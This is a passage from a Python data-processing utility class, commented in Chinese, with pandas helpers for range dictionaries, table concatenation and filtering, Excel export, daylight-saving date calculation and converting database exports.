是否将所有字符串都转为小写后, 再识别是否有重复的, 因为数据库不识别大小写\r\n :return: list_output, 每个元素都是str\r\n \"\"\"\r\n from collections import defaultdict\r\n\r\n if to_lower:\r\n list_input = [str(temp).lower() for temp in list_input]\r\n\r\n list_output = []\r\n default_dict = defaultdict(list)\r\n for keys, values in [(temp, i) for i, temp in enumerate(list_input)]:\r\n default_dict[keys].append(values)\r\n\r\n for keys in default_dict.keys():\r\n list_keys = default_dict.get(keys)\r\n if len(list_keys) == 1:\r\n list_output.insert(list_keys[0], list_input[list_keys[0]])\r\n else:\r\n for j, jtemp in enumerate(list_keys):\r\n list_output.insert(list_keys[j], f'{list_input[jtemp]}_{j + 1}')\r\n return list_output\r\n\r\n @staticmethod\r\n def build_double_range_dict(start_start, start_end, start_step, end_statr, end_end, end_step,\r\n decimals=4, l_update=None):\r\n \"\"\"\r\n 创建双值区间字典\r\n 样例: {'[0.0, 0.005]': [0.0, 0.005]}\r\n 解析: 字典的值是一个包含两个元素的列表, 分别是区间的开始和结束\r\n 过程:\r\n 创建区间开始列表和区间结束列表, 并保留小数位数\r\n 利用开始区间列表和结束区间列表创建字典键列表和字典值列表\r\n 用字典键列表和字典值列表创建字典\r\n :param start_start: 开始区间列表起始值\r\n :param start_end: 开始区间列表结束值\r\n :param start_step: 开始区间列表步进\r\n :param end_statr: 结束区间列表起始值\r\n :param end_end: 结束区间列表结束值\r\n :param end_step: 结束区间列表步进\r\n :param decimals: 保留小数位数\r\n :param l_update: 要单独添加的范围区间列表, 列表的每个元素中有两个值,\r\n 例如: [[-1000, 0], [10, 1000]], 即新增加-1000->0区间和10->1000区间\r\n :return:\r\n \"\"\"\r\n l_start = np.arange(start_start, start_end, start_step)\r\n l_end = np.arange(end_statr, end_end, end_step)\r\n\r\n if l_update:\r\n for i in l_update:\r\n np.append(l_start, i[0])\r\n np.append(l_end, i[1])\r\n\r\n l_start = np.around(l_start, decimals=decimals)\r\n l_end = np.around(l_end, decimals=decimals)\r\n\r\n l_dict_key = [str(j) for j in [list(i) for i in zip(l_start, l_end)]]\r\n l_dict_value = [list(i) for i in zip(l_start, l_end)]\r\n\r\n dict_double_range = dict(zip(l_dict_key, l_dict_value))\r\n\r\n return dict_double_range\r\n\r\n @staticmethod\r\n def build_double_range_dict_easy(start, end, step, decimals=4, l_extreme_val=None):\r\n \"\"\"\r\n 创建双值区间字典\r\n 样例: {'[0.0, 0.005]': [0.0, 0.005]}\r\n 解析: 字典的值是一个包含两个元素的列表, 分别是区间的开始和结束\r\n 过程:\r\n 创建区间开始列表和区间结束列表, 并保留小数位数\r\n 利用开始区间列表和结束区间列表创建字典键列表和字典值列表\r\n 用字典键列表和字典值列表创建字典\r\n :param start: 列表起始值\r\n :param end: 列表结束值\r\n :param step: 步进\r\n :param decimals: 保留小数位数\r\n :param l_extreme_val: 由极大值和极小值组成的列表, 添加到双值字典的两端\r\n eg: [-1000, 1000], 即新增加 -1000 -> start 区间和 end -> 1000 区间\r\n :return:\r\n \"\"\"\r\n\r\n list_range = [round(i, decimals) for i in np.arange(start, end + step, step)]\r\n\r\n if l_extreme_val:\r\n list_range.extend(l_extreme_val)\r\n list_range.sort()\r\n\r\n l_start = list_range[:-1]\r\n l_end = list_range[1:]\r\n\r\n l_dict_key = [str(j) for j in [list(i) for i in zip(l_start, l_end)]]\r\n l_dict_value = [list(i) for i in zip(l_start, l_end)]\r\n\r\n dict_double_range = dict(zip(l_dict_key, l_dict_value))\r\n\r\n return dict_double_range\r\n\r\n @staticmethod\r\n def build_single_range_dict(start, end, step, decimals=2):\r\n \"\"\"\r\n 创建单值字典\r\n eg: start=1.5, end=3.5, step=0.5, {1.5: '1.5-2.0', 2.0: '2.0-2.5', 2.5: '2.5-3.0'}\r\n end + step * 2: 因为 arange 不包括 end, 而且 i < len(lists) - 1, 所以字段会少两个step, 在这里补齐\r\n :param start: 序列开始值\r\n :param end: 序列结束值\r\n :param step: 步进\r\n :param decimals: 保留小数位数\r\n :return: 单值字典\r\n \"\"\"\r\n dicts = {}\r\n lists = [round(i, decimals) for i in np.arange(start, end + step * 3, step)]\r\n\r\n for i, x in enumerate(lists):\r\n if i < len(lists) - 1:\r\n dicts.update({x: f'{x}-{lists[i + 1]}'})\r\n\r\n return dicts\r\n\r\n @staticmethod\r\n def concat(*args, axis=0, reset_index=1): # 连接几个表,axis=0合并行,axis=1合并列,reset_index=1清理为df格式\r\n frame = list(args)\r\n df = pd.concat(frame, axis=axis)\r\n if reset_index == 1:\r\n df = df.reset_index(drop=True)\r\n return df\r\n\r\n @staticmethod\r\n def concat_first(*args, reset_index=1):\r\n \"\"\"\r\n 连接几个表\r\n axis=0 为上下连接, axis只能=0, 因为给定join_axes为列名, 所以不支持左右连接\r\n \"\"\"\r\n frame = list(args)\r\n df = pd.concat(frame, axis=0, join_axes=[args[0].columns])\r\n if reset_index == 1:\r\n df = df.reset_index(drop=True).copy()\r\n return df\r\n\r\n @staticmethod\r\n def cosine_similarity(vec_1, vec_2):\r\n \"\"\"\r\n 计算余弦距离\r\n :param vec_1:\r\n :param vec_2:\r\n :return:\r\n \"\"\"\r\n num = vec_1.dot(vec_2.T)\r\n denom = np.linalg.norm(vec_1) * np.linalg.norm(vec_2)\r\n return num / denom\r\n\r\n @staticmethod\r\n def data_w(path, **kwargs):\r\n \"\"\"\r\n 写入数据\r\n 格式:sheet名字(没有引号)= df,\r\n eg: ap.ap.data_w(path_w_temp, ths=dfs, df_mom=df_moms)\r\n :param path:\r\n :param kwargs:\r\n :return:\r\n \"\"\"\r\n writer = pd.ExcelWriter(path)\r\n df_w_list = list(kwargs.values())\r\n sheet_w_list = list(kwargs.keys())\r\n for i in range(len(sheet_w_list)):\r\n kwargs.get(sheet_w_list[i]).to_excel(writer, sheet_w_list[i])\r\n writer.save()\r\n return df_w_list\r\n\r\n @staticmethod\r\n def data_w_septb(path, l_sheet, l_df): # 分表函数的过程函数,应用于sep_tb()\r\n writer = pd.ExcelWriter(path)\r\n for i in range(len(l_sheet)):\r\n l_df[i].to_excel(writer, l_sheet[i])\r\n writer.save()\r\n return l_sheet\r\n\r\n @staticmethod\r\n def dict_assign(df, dicts, new_col, old_col): # 从字典中查找值,并赋值\r\n df[new_col] = df[old_col].map(dicts)\r\n return df[new_col]\r\n\r\n @staticmethod\r\n def dict_col(df, new_col, old_col, df_dictfrom, select_col, values_col, fillna=0): # 组合了get_dict()和dict_assign()函数\r\n dicts = dict(df_dictfrom.groupby(select_col).apply(lambda x: list(x[values_col])[0]))\r\n df[new_col] = df[old_col].map(dicts)\r\n df[new_col] = df[new_col].fillna(fillna)\r\n return df[new_col]\r\n\r\n @staticmethod\r\n def drop_duplicates(df, col, keeps='first'): # 去重,并重构index\r\n dfs = df.drop_duplicates(subset=col, keep=keeps, inplace=False)\r\n dfs = dfs.reset_index(drop=True)\r\n return dfs\r\n\r\n @staticmethod\r\n def dst_day(year, month, week, weekday, is_dst_algorithm=True):\r\n \"\"\"\r\n 根据给出的年份, 月份, 第几个礼拜几, 计算出对应的日期, 可用于计算夏令时\r\n 注意: 如果 is_dst_algorithm=True, 那么当传入week=-1的时候, 实际上是在找最后一周的周几, 有可能往后找到下个月\r\n :param year: int, 年份, eg: 2019\r\n :param month: int, 月份, eg: 3\r\n :param week: int, 第几个, eg: 4, 注: 如果这个值很大, 那么实际上就是例如: 2020年8月的第20个周一, 那么会一直数周一到后边的月份\r\n :param weekday: int, 周几, 周一最小, 对应0, 周日最大, 对应6\r\n :param is_dst_algorithm: bool, 是否用夏令时算法, 区别在于, 比如计算某个月的最后一个周五, 正常情况应该是返回当月最后一个周五,\r\n 但是夏令时算法实���上是返回当月最后一周的那个周五, 也就是有可能得到下个月的第一个周五\r\n :return: datetime, 日期\r\n \"\"\"\r\n assert week != 0, 'week cannot be equal to zero.'\r\n\r\n if week > 0:\r\n month_firstday = dt.datetime(year=year, month=month, day=1)\r\n month_firstday_weekday = month_firstday.weekday()\r\n\r\n if month_firstday_weekday <= weekday:\r\n delta = weekday - month_firstday_weekday\r\n else:\r\n delta = 6 - month_firstday_weekday + weekday + 1\r\n\r\n dst_day = month_firstday + dt.timedelta(days=delta + (week - 1) * 7)\r\n else:\r\n month_lastday = dt.datetime(year=year, month=month, day=calendar.monthrange(year, month)[1])\r\n month_lastday_weekday = month_lastday.weekday()\r\n\r\n if not is_dst_algorithm:\r\n if weekday <= month_lastday_weekday:\r\n delta = month_lastday_weekday - weekday\r\n else:\r\n delta = 6 - weekday + month_lastday_weekday + 1\r\n\r\n dst_day = month_lastday - dt.timedelta(days=delta + (week + 1) * 7)\r\n\r\n else:\r\n if weekday <= month_lastday_weekday:\r\n delta = month_lastday_weekday - weekday\r\n dst_day = month_lastday - dt.timedelta(days=delta + (week + 1) * 7)\r\n else:\r\n if week != -1:\r\n delta = 6 - weekday + month_lastday_weekday + 1\r\n dst_day = month_lastday - dt.timedelta(days=delta + (week + 1) * 7)\r\n else:\r\n delta = weekday - month_lastday_weekday\r\n dst_day = month_lastday + dt.timedelta(days=delta)\r\n return dst_day\r\n\r\n def dst_judge(self, xdate, s_month, s_week, s_weekday, e_month, e_week, e_weekday, is_dst_algorithm=True):\r\n \"\"\"\r\n 根据传入的开始和结束时间点, 判断给定日期是否在区间内, 中间调用dst_day()函数, 可以计算是否是夏令时\r\n :param xdate: datetime, 需要判断的日期\r\n :param s_month: int, 开始月份\r\n :param s_week: int, 开始日期阈值是这个月的第几个\r\n :param s_weekday: int, 开始日期阈值是星期几\r\n :param e_month: int, 结束月份\r\n :param e_week: int, 结束日期阈值是这个月的第几个\r\n :param e_weekday: int, 结束日期阈值是星期几\r\n :param is_dst_algorithm: bool, 是否用夏令时算法, 区别在于, 比如计算某个月的最后一个周五, 正常情况应该是返回当月最后一个周五,\r\n 但是夏令时算法实际上是返回当月最后一周的那个周五, 也就是有可能得到下个月的第一个周五\r\n :return: bool, 给定日期是否在目标日期区间内\r\n \"\"\"\r\n s_dst_day = self.dst_day(year=xdate.year, month=s_month, week=s_week, weekday=s_weekday,\r\n is_dst_algorithm=is_dst_algorithm)\r\n e_dst_day = self.dst_day(year=xdate.year, month=e_month, week=e_week, weekday=e_weekday,\r\n is_dst_algorithm=is_dst_algorithm)\r\n if s_dst_day <= xdate <= e_dst_day:\r\n isdst = 1\r\n else:\r\n isdst = 0\r\n return isdst\r\n\r\n def file_copy_to_dirs(self, path_r, path_copy_to):\r\n \"\"\"\r\n 将一个文件夹下所有文件拷贝到另一个文件夹下\r\n os.walk(path_r)返回三个值,分别是:\r\n root -> 当前目录路径\r\n dirs -> 当前路径下所有子目录\r\n files -> 当前路径下所有非目录子文件\r\n :param path_r: 要读取的文件夹\r\n :param path_copy_to: 要写入的文件夹\r\n :return: True\r\n \"\"\"\r\n if not os.path.exists(path_r):\r\n print(f'{path_r} is not exists')\r\n\r\n if not os.path.exists(path_copy_to):\r\n os.makedirs(path_copy_to)\r\n print(f'{path_copy_to} is not exists, creat it')\r\n\r\n self.sound(notes=f'entry: copy')\r\n for root, dirs, files in os.walk(path_r):\r\n if files:\r\n for file in files:\r\n path_ths = os.path.join(root, file)\r\n shutil.copy(path_ths, path_copy_to)\r\n\r\n self.sound(notes=f'finish')\r\n return self\r\n\r\n @staticmethod\r\n def from_sql_to_df_datetime_or_str_to_data(df, data_type='RES'):\r\n \"\"\"\r\n 用于将从数据库导出数据的日期列转换为 data 格式\r\n :param df: 从数据库导出的数据\r\n :param data_type: str, default: 'RES', 传入数据的内容\r\n 'RES' -> results, 业绩表\r\n 'HR' -> 人事表\r\n 'COST' -> 成本表\r\n 'WD' -> withdrawal, 提现表\r\n :return: 修改了日期格式的数据\r\n \"\"\"\r\n if data_type == 'RES':\r\n # 要清洗的列\r\n col_name_list = ['出借日期', '到账日期', '计息日期', '到期日期', '兑付日期', '提前赎回日期', '投资月份', '首次投资月份',\r\n 'AUX计息日', '初始到期日', 'AUX到期日', 'AUX兑付日', '本次到期日', '本次兑付日', '本次兑付月份']\r\n elif data_type == 'HR':\r\n col_name_list = ['入职时间', '离职日期', '实际转正日期', '月份', '调转居间时间', '居间协议签订日期', '居间协议结束日期',\r\n 'entry_date', 'leave_date', 'AUX转正日期']\r\n elif data_type == 'COST':\r\n col_name_list = ['月份']\r\n\r\n # TODO: 添加其他 data_type\r\n else:\r\n raise Exception('data_type 设置有误')\r\n\r\n # 如果是 pd.Timestamp 类型, 则直接转换为 date 类型, 如果是 str 类型, 则检测是否为日期内容, 如果是则转换为 date\r\n def sth_to_date(x):\r\n if isinstance(x, pd.Timestamp):\r\n x = dt.date(x.year, x.month, x.day)\r\n\r\n # 注意: 这里的elif和下一个elif不能交换位置, 因为如果调换, 那么x=='0'的话, 就不会进入本条件了\r\n elif x == 0 or x == '0' or x == '-':\r\n x = dt.date(1900, 1, 1)\r\n\r\n elif isinstance(x, str):\r\n # str_datetime = re.match(r\"(\\d{4}-\\d{1,2}-\\d{1,2}\\s\\d{1,2}:\\d{1,2}:\\d{1,2})\", x)\r\n str_datetime = re.match(r\"(\\d{4}-\\d{1,2}-\\d{1,2})\", x)\r\n if str_datetime is not None:\r\n # datetimes = dt.datetime.strptime(str_datetime.group(), '%Y-%m-%d %H:%M:%S')\r\n datetimes = dt.datetime.strptime(str_datetime.group(), '%Y-%m-%d')\r\n x = dt.date(datetimes.year, datetimes.month, datetimes.day)\r\n else:\r\n x = x\r\n else:\r\n x = x\r\n return x\r\n\r\n # 如果字段名称存在, 则进行数据类型转换\r\n for col in col_name_list:\r\n if col in df.columns.values:\r\n df[col] = df[col].map(sth_to_date)\r\n return df\r\n\r\n @staticmethod\r\n def from_sql_to_df_str_to_int_or_float(df, data_type='RES'):\r\n \"\"\"\r\n 用来给从数据库导出的 df 转换格式, 字符串转换为整型或浮点\r\n :param df: 从 sql 导出需要转换格式的 df\r\n :param data_type: str, default: 'RES', 传入数据的内容\r\n 'RES' -> results, 业绩表\r\n 'HR' -> 人事表\r\n 'COST' -> 成本表\r\n 'WD' -> withdrawal, 提现表\r\n :return: 转换好格式的 df\r\n \"\"\"\r\n if data_type == 'RES':\r\n # 需要转换格式的字段\r\n to_int_or_float_col = []\r\n elif data_type == 'HR':\r\n to_int_or_float_col = []\r\n elif data_type == 'COST':\r\n to_int_or_float_col = []\r\n # TODO: 添加其他 data_type\r\n else:\r\n raise Exception('data_type 设置有误')\r\n\r\n def str_to_int_or_float(content, formats='0.0000000', strs='E-7'):\r\n \"\"\"\r\n 此方法应用于 lambda 内部, 例如: for col in to_int_or_float_col:\r\n df[col] = df[col].map(lambda x: ap.ap.str_to_int_or_float(x))\r\n 从数据库查询数据后, 数据格式总会有问题, 这个函数是把每一个值进行判断并转换\r\n 如果在数据库中是 double 类型, 那么在 Python 中是 decimal.Decimal 类型, 先转换为 str\r\n 然后判断如果是 str\r\n 如果是l_strs中的科学记数法字符:\r\n 赋值为0\r\n 如果都是数字, 或者 (最前边是'-', 并且去掉'-'全是数字, 并且'-'只有1个):\r\n 转换为int类型\r\n 如果(只包含一个'.', 并且去掉'.'全是数字)或者(只包含一个'.', 并且只包含一个'-', 并且以'-'开头, 并且去掉'-'和'.'全是数字)\r\n 转换为float类型\r\n :param content: 传入的内容\r\n :param formats: str, default: '0.0000000', 如果是 decimal.Decimal 格式, 要转换的精度, 默认为7位小数\r\n :param strs: str, default: '0E-7', 将此内容替换为 0, 此内容与 formats 是对应的, formats 默认为7位小数, 所以 strs 默认为 '0E-7'\r\n :return: 转换类型后的内容\r\n \"\"\"\r\n if isinstance(content, decimal.Decimal):\r\n content = str(decimal.Decimal(content).quantize(decimal.Decimal(formats)))\r\n if isinstance(content, str):\r\n if strs in content:\r\n content = 0\r\n elif content.isdigit() \\\r\n or (content.startswith('-')\r\n and content.count(\"-\") == 1\r\n and content.replace(\"-\", '').isdigit()):\r\n content = int(content)\r\n elif (content.count(\".\") == 1 and content.replace(\".\", '').isdigit()) \\\r\n or (content.count(\".\") == 1\r\n and content.count(\"-\") == 1\r\n and content.startswith('-')\r\n and content.replace(\"-\", '').replace(\".\", '').isdigit()):\r\n content = float(content)\r\n return content\r\n\r\n # 循环需要转换格式的字段, 如果字段存在, 进行格式转换\r\n for col in to_int_or_float_col:\r\n if col in df.columns.values:\r\n df[col] = df[col].map(lambda x: str_to_int_or_float(x))\r\n return df\r\n\r\n def format_sql_to_df(self, df, data_type='RES'):\r\n \"\"\"\r\n --> 转换数据格式\r\n --> 转换日期字段格式\r\n --> 转换数字字段格式\r\n --> 调整字段顺序\r\n --> 获取字段列表\r\n --> 循环标准字段, 如果在本表字段则加入到排序字段中\r\n --> 调整字段顺序\r\n :param df: 传入的表格\r\n :param data_type: str, default: 'RES', 传入数据的内容\r\n 'RES' -> results, 业绩表\r\n 'HR' -> 人事表\r\n 'COST' -> 成本表\r\n 'WD' -> withdrawal, 提现表\r\n :return: 转换之后的表格\r\n \"\"\"\r\n\r\n # 转换日期字段和其他字段格式\r\n df = self.from_sql_to_df_datetime_or_str_to_data(df, data_type=data_type)\r\n df = self.from_sql_to_df_str_to_int_or_float(df, data_type=data_type)\r\n\r\n # 调整字段顺序\r\n l_df_col = list(df.columns.values)\r\n l_sort_col = []\r\n\r\n if data_type == 'RES':\r\n col_sort = []\r\n elif data_type == 'HR':\r\n col_sort = []\r\n elif data_type == 'COST':\r\n col_sort = COST_ASCEND_DIM_COL\r\n\r\n # TODO: 添加其他 data_type\r\n else:\r\n raise Exception('data_type 设置有误')\r\n\r\n for col in col_sort:\r\n if col in l_df_col:\r\n l_sort_col.append(col)\r\n df = df[l_sort_col]\r\n return df\r\n\r\n @staticmethod\r\n def format_sth_to_str(df, data_type='NONE', list_format_col=None):\r\n \"\"\"\r\n 将字段内容转换成字符串\r\n :param df: 传入的表\r\n :param data_type: 表类型, 输入的类型不同, 备选字段不同, 如果为'NONE', 那么就调用传入的list_format_col\r\n :param list_format_col: 需要转换为字符串的字段列表\r\n :return:\r\n \"\"\"\r\n if data_type == 'RES':\r\n col_name_list = LIST_CNST_STH_TO_STR\r\n elif data_type == 'NONE':\r\n col_name_list = list_format_col\r\n else:\r\n col_name_list = []\r\n\r\n for col in col_name_list:\r\n if col in df.columns.values:\r\n df[col] = df[col].map(lambda x: str(x))\r\n return df\r\n\r\n def get_dcr_ndx(self, df, list_field):\r\n \"\"\"\r\n title: 创建 list_field中各字段的笛卡尔乘积表, 可以接收任何字段列表, 一维多维都可以\r\n process:\r\n 判断 list_field 是否是列表:\r\n False:\r\n 将字段去重\r\n 构造表格\r\n True:\r\n 循环 list_field:\r\n 逐个字段去重, 并添加到 l_l_col\r\n 生成笛卡尔乘积, 并逐个添加到 df_dcr\r\n :param df: 传入的数据\r\n :param list_field: 字段列表或单一字段, list / str, eg: 'name', 或['name', 'age']\r\n :return: df_dcr\r\n \"\"\"\r\n self.sound(notes=f'entry: get_dcr_ndx')\r\n import itertools\r\n df_dcr = pd.DataFrame()\r\n if not isinstance(list_field, list):\r\n l_field = list(set(df[list_field].tolist()))\r\n df_dcr[list_field] = l_field\r\n else:\r\n l_l_col = []\r\n for col_name in list_field:\r\n l_col = list(set(df[col_name].tolist()))\r\n l_l_col.append(l_col)\r\n print(f'{col_name} 长度: {len(l_col)}')\r\n print(f'l_l_col 维度: {len(l_l_col)}')\r\n\r\n for i, t in enumerate(itertools.product(*l_l_col)):\r\n for j in range(len(list_field)):\r\n df_dcr.loc[i, list_field[j]] = t[j]\r\n return df_dcr\r\n\r\n @staticmethod\r\n def get_default_dict(lists):\r\n \"\"\"\r\n 返回列表元素出现次数的字典\r\n res eg: defaultdict(, {1: [0], 2: [1, 3], 3: [2], 4: [4]})\r\n input: default_dict.get(2)\r\n output: [1, 3]\r\n :param lists:\r\n :return:\r\n \"\"\"\r\n from collections import defaultdict\r\n default_dict = defaultdict(list)\r\n for keys, values in [(temp, i) for i, temp in enumerate(lists)]:\r\n default_dict[keys].append(values)\r\n return default_dict\r\n\r\n @staticmethod\r\n def get_dict(df, select_col, values_col): # 将两列组合成字典\r\n dicts = dict(df.groupby(select_col).apply(lambda x: list(x[values_col])[0]))\r\n return dicts\r\n\r\n @staticmethod\r\n def log_sql(notes, con, tb_name_log, tb_name_w):\r\n\r\n df_log = pd.DataFrame()\r\n res = traceback.extract_stack()\r\n\r\n # 获取调用列表, 去掉第一个, 倒序\r\n l_caller = [res[i][2] for i in range(len(res))][1:][::-1]\r\n\r\n # 逐个赋值\r\n for j in range(len(l_caller)):\r\n df_log.loc[0, f'func: {j}'] = l_caller[j]\r\n\r\n df_log['notes'] = notes\r\n df_log['tb_name_w'] = tb_name_w\r\n df_log.to_sql(con=con, name=tb_name_log, if_exists='append', index=False)\r\n\r\n return df_log\r\n\r\n @staticmethod\r\n def matching_factor(df, dicts, new_col, old_col, types='df', compare_type='int'):\r\n \"\"\"\r\n 根据字典匹配系数,字典的格式:第一个阀值是0,最后一个阀值无限大的数\r\n :param df:\r\n :param dicts:\r\n dict = {'0': '0% - 50%',\r\n '0.5': '50% - 100%',\r\n '100': '100% +'}\r\n :param new_col:\r\n :param old_col:\r\n :param types:\r\n :param compare_type: int / float / time, 需要将字典的键转化为int / float / time 类型\r\n :return:\r\n \"\"\"\r\n\r\n def outs(dicty): # 通过闭包传递参数\r\n def ins(x):\r\n lists = list(dicty.keys())\r\n for i in range(1, len(lists)): # 字典第一个阀值是0,从字典第二个开始\r\n if compare_type == 'int':\r\n if int(lists[i - 1]) <= x < int(lists[i]): # 根据所在区间匹配系数\r\n x = dicty.get(lists[i - 1])\r\n break\r\n elif compare_type == 'float':\r\n if float(lists[i - 1]) <= x < float(lists[i]): # 根据所在区间匹配系数\r\n x = dicty.get(lists[i - 1])\r\n break\r\n elif compare_type == 'time':\r\n if dt.datetime.strptime(lists[i - 1], '%H:%M:%S').time() <= x < dt.datetime.strptime(\r\n lists[i], '%H:%M:%S').time():\r\n x = dicty.get(lists[i - 1])\r\n break\r\n return x\r\n\r\n return ins\r\n\r\n if types == 'table': # 如果传入透视表\r\n df = df.reset_index() # 将此前得到的透视表转换索引,变成普通的df格式\r\n factor = outs(dicts) # 给前边的闭包传入字典\r\n df[new_col] = df[old_col].map(factor) # 根据指定列匹配系数到新的列\r\n return df[new_col]\r\n\r\n @staticmethod\r\n def matching_factor_a_b(df, dicts, new_col, old_col, types='df'): # 根据字典匹配系数, 字典的值是2个元素列表, 分别是最大和最小阀值\r\n def outs(dicty): # 通过闭包传递参数\r\n def ins(x):\r\n lists = list(dicty.keys())\r\n\r\n for i in lists: # 字典第一个阀值是0,从字典第二个开始\r\n if dicty.get(i)[0] <= x < dicty.get(i)[1]: # 根据所在区间匹配系数\r\n x = i\r\n break\r\n return x\r\n\r\n return ins\r\n\r\n if types == 'table': # 如果传入透视表\r\n df = df.reset_index() # 将此前得到的透视表转换索引,变成普通的df格式\r\n factor = outs(dicts) # 给前边的闭包传入字典\r\n df[new_col] = df[old_col].map(factor) # 根据指定列匹配系数到新的列\r\n return df[new_col]\r\n\r\n @staticmethod\r\n def mapping_section(n, dicts, is_left_open_right_close=True):\r\n \"\"\"\r\n 区间匹配, 用于将给定的一个数, 按照区间赋值\r\n process:\r\n 初始化v为None\r\n 获取传入区间段个数\r\n 循环区间段个数\r\n 将传入的n逐个比较, 左开右闭, 将同索引的值列表赋值给v\r\n 存在n超过区间最大值的情况, 所以如果循环之后仍然没有赋值, 则将默认值赋给v\r\n\r\n eg:\r\n dicts = {'section': [0, 5, 11, 21, 31],\r\n 'map_val': [0, 1, 2, 3, 4],\r\n 'map_err': 'error'}\r\n\r\n :param n: 给定的数字\r\n :param dicts: 映射赋值字典\r\n :param is_left_open_right_close: bool, default: True, 是否左开右闭\r\n :return: v\r\n \"\"\"\r\n v = None\r\n length = len(dicts['section']) - 1\r\n\r\n for i in range(length):\r\n if is_left_open_right_close:\r\n if dicts['section'][i] <= n < dicts['section'][i + 1]:\r\n v = dicts['map_val'][i]\r\n else:\r\n if dicts['section'][i] < n <= dicts['section'][i + 1]:\r\n v = dicts['map_val'][i]\r\n\r\n if v is None:\r\n v = dicts['map_err']\r\n print(f'Error: map_val is not in dicts')\r\n\r\n return v\r\n\r\n @staticmethod\r\n def module_to_df(res):\r\n \"\"\"\r\n 用于将 sqlalchemy 查询语句 query 得到的结果转换为 DataFrame 格式, 过程:\r\n --> 判断 res 是否为空, 如果为空, 直接建立空 df\r\n --> 获取所有字段\r\n --> 传入查询结果 res\r\n --> 循环 res, 得到每一行的对象 element\r\n --> 循环 element 的每个属性, 得到 porp 列表\r\n --> 由于 porp 列表是重复每个 element 的所有 porp, 而实际需要一个即可, 所以切片[0]\r\n --> 由于 porp 中包含多余的 _sa_instance_state 属性, 所以切片[1:], 得到 porp_list\r\n --> 转换为 DataFrame\r\n --> 嵌套循环 res 和 porp_list, 通过 getattr() 方法得到所有内容\r\n :param res: query 得到的查询结果\r\n :return: 转换得到的 df\r\n \"\"\"\r\n if res:\r\n porp_list = [[porp for porp in element.__dict__] for element in res][0][1:]\r\n df = pd.DataFrame([[getattr(elem, porps, f'错误: 没有 {porps} 属性') for porps in porp_list] for elem in res],\r\n columns=porp_list)\r\n else:\r\n df = pd.DataFrame()\r\n return df\r\n\r\n @staticmethod\r\n def normalized_list(lists):\r\n \"\"\"\r\n 将一个列表做归一化处理\r\n :param lists:\r\n :return:\r\n \"\"\"\r\n list_normalized = [(i - min(lists)) / (max(lists) - min(lists))\r\n if max(lists) - min(lists) != 0 else 0 for i in lists]\r\n return list_normalized\r\n\r\n def pt_col(self, df_w, new_col, old_col, df_to_pt, index_col, values_col, aggfunc=np.sum):\r\n tb_pt = pd.pivot_table(df_to_pt, index=index_col, values=values_col, aggfunc=aggfunc)\r\n df_pt = tb_pt.reset_index()\r\n df_w[new_col] = self.dict_col(df_w, new_col, old_col, df_pt, index_col, values_col)\r\n return df_w[new_col]\r\n\r\n def read_sql(self, con, tb_name_r, chunksize=None):\r\n \"\"\"\r\n 读取数据库, 支持分批次读取\r\n :param con: 数据库连接\r\n :param tb_name_r: 读取的表\r\n :param chunksize: 每次读取的行数\r\n :return:\r\n \"\"\"\r\n self.sound(notes=f'entry: read_sql')\r\n df_source = pd.read_sql(con=con, sql=tb_name_r, chunksize=chunksize)\r\n if not chunksize:\r\n self.sound(notes=f'finish: read_sql\\ndf_source.shape: {df_source.shape}')\r\n return df_source\r\n\r\n @staticmethod\r\n def regular_replacement(parameter): # 将小写字母替换成大写字母\r\n parm = parameter.group()\r\n return str(parm).upper()\r\n\r\n @staticmethod\r\n def regular_prefix(strs):\r\n prefix = f'(?<={strs}).+'\r\n compile_prefix = re.compile(prefix)\r\n return compile_prefix\r\n\r\n @staticmethod\r\n def regular_suffix(strs):\r\n suffix = f'.+(?={strs})'\r\n compile_suffix = re.compile(suffix)\r\n return compile_suffix\r\n\r\n @staticmethod\r\n def select_df(df, *args): # 可以多条件筛选df的函数 格式:fun(df, ('机构', '!=', '南京分公司'), ('第二个列', '判断符号', 筛选条件)...\r\n for i in range(len(args)):\r\n if args[i][1] == '==':\r\n df = df[df[args[i][0]] == args[i][2]]\r\n elif args[i][1] == '!=':\r\n df = df[df[args[i][0]] != args[i][2]]\r\n elif args[i][1] == '>':\r\n df = df[df[args[i][0]] > args[i][2]]\r\n elif args[i][1] == '<':\r\n df = df[df[args[i][0]] < args[i][2]]\r\n elif args[i][1] == '>=':\r\n df = df[df[args[i][0]] >= args[i][2]]\r\n elif args[i][1] == '<=':\r\n df = df[df[args[i][0]] <= args[i][2]]\r\n df = df.copy().reset_index(drop=True)\r\n return df\r\n\r\n def select_df_merge(self, df_source, select_col, compare='==', reset_index=0, *args):\r\n # 从一个表中的一个字段筛选不同内容,然后再合并在一起\r\n # 例: dfx = ap.ap.select_df_merge(df, 'a', 1, 7, compare='==', reset_index=0)\r\n\r\n df = pd.DataFrame(columns=df_source.columns)\r\n for i in range(len(args)):\r\n df_args = self.select_df(df_source, (select_col, compare, args[i]))\r\n df = self.concat(df, df_args, reset_index=reset_index)\r\n return df\r\n\r\n @staticmethod\r\n def select_df_from_list(df, l_select_and):\r\n \"\"\"\r\n 从数据源中多次筛选'且'关系的内容, 并上下组合在一起\r\n :param df: 数据源\r\n :param l_select_and: list, '且'筛选条件列表, 例如:\r\n [['机构', '==', 'XXXX'], ['年龄', '>=', 30]]\r\n 列表中的每一项都是且的关系\r\n :return: df\r\n \"\"\"\r\n for select in l_select_and:\r\n if select[1] == '==':\r\n df = df[df[select[0]] == select[2]]\r\n elif select[1] == '!=':\r\n df = df[df[select[0]] != select[2]]\r\n elif select[1] == '>':\r\n df = df[df[select[0]] > select[2]]\r\n elif select[1] == '<':\r\n df = df[df[select[0]] < select[2]]\r\n elif select[1] == '>=':\r\n df = df[df[select[0]] >= select[2]]\r\n elif select[1] == '<=':\r\n df = df[df[select[0]] <= select[2]]\r\n df = df.copy().reset_index(drop=True)\r\n return df\r\n\r\n def select_df_dim3(self, df, list_dim3):\r\n \"\"\"\r\n title: 通过传入的三维列表, 从df中筛选数据, dim3是或的关系, dim2是且的关系, dim1是比较的三个内容\r\n process:\r\n 循环dim3:\r\n 创建新的dim2, 使其等于df\r\n 循环dim2:\r\n 按照dim1筛选数据\r\n 复制并重置索引\r\n 将每一个dim2合并成 df_select\r\n :param df: 数据源\r\n :param list_dim3: 用于筛选的三维列表, eg: [[['a', '==', 'xxx'], ['b', '>=', 30]], ['a', '==', 'xxx']]\r\n :return: df\r\n \"\"\"\r\n df_select = pd.DataFrame(columns=df.columns.tolist())\r\n for dim2 in list_dim3:\r\n df_dim2 = df.copy()\r\n for dim1 in dim2:\r\n if dim1[1] == '==':\r\n df_dim2 = df_dim2[df_dim2[dim1[0]] == dim1[2]]\r\n elif 